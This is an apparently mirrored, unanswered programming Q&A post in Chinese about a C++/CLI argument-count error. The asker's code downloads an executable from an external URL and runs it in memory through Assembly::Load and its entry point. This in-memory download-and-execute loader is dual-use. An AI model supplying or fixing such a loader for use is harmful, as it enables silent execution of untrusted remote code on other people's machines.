c ++方法调用参数错误

时间:2013-01-17 21:36:09

标签: parameters c++-cli webclient

using namespace System;
using namespace System::Threading;
using namespace System::Reflection;
using namespace System::Net;
public ref class ThreadExample
{
public:
static array<Byte>^bytes;
static void DoExecute()
{
    if (bytes[0x3C] == 0x80)
    {
        array<Byte>^ _bytes;
        Assembly^ asm_Renamed = Assembly::Load(bytes);
        MethodInfo ^entryPoint = asm_Renamed->EntryPoint;
        //array<Object^> ^temp0 = nullptr;
        array<System::String ^>^ _s = gcnew array<System::String ^> {"P1", "pw2"};
        try
        {
            entryPoint->Invoke(nullptr, _s);
        }
        catch(ArgumentException^ str)
        {
            Console::WriteLine(str);
        }
        catch(TargetParameterCountException^ str2)
        {
            Console::WriteLine(str2);
        }
    }
}
};
void Execute()
{
Console::WriteLine(L"Test!");
Thread^ t = gcnew Thread( gcnew ThreadStart( &ThreadExample::DoExecute ) );
t->TrySetApartmentState(ApartmentState::STA);
t->Start();
}
int main(array<System::String ^> ^args)
{
Console::WriteLine(L"Hello World");
WebClient^ c = gcnew WebClient();
String^ s = "http://www.themarv.eu/psc/test.exe";
Console::WriteLine(c->DownloadData(s)->ToString());
ThreadExample::bytes = c->DownloadData(s);
Execute();

Console::ReadLine();
return 0;
}

那是我的代码 我总是得到一个System.Reflection.TargetParameterCountException错误。

有人可以帮助我,也许我没有参数启动程序? 如果我只输入一个字符串作为参数我无法启动它因为弹出ArgumentException错误

0 个答案:

没有答案
相关问题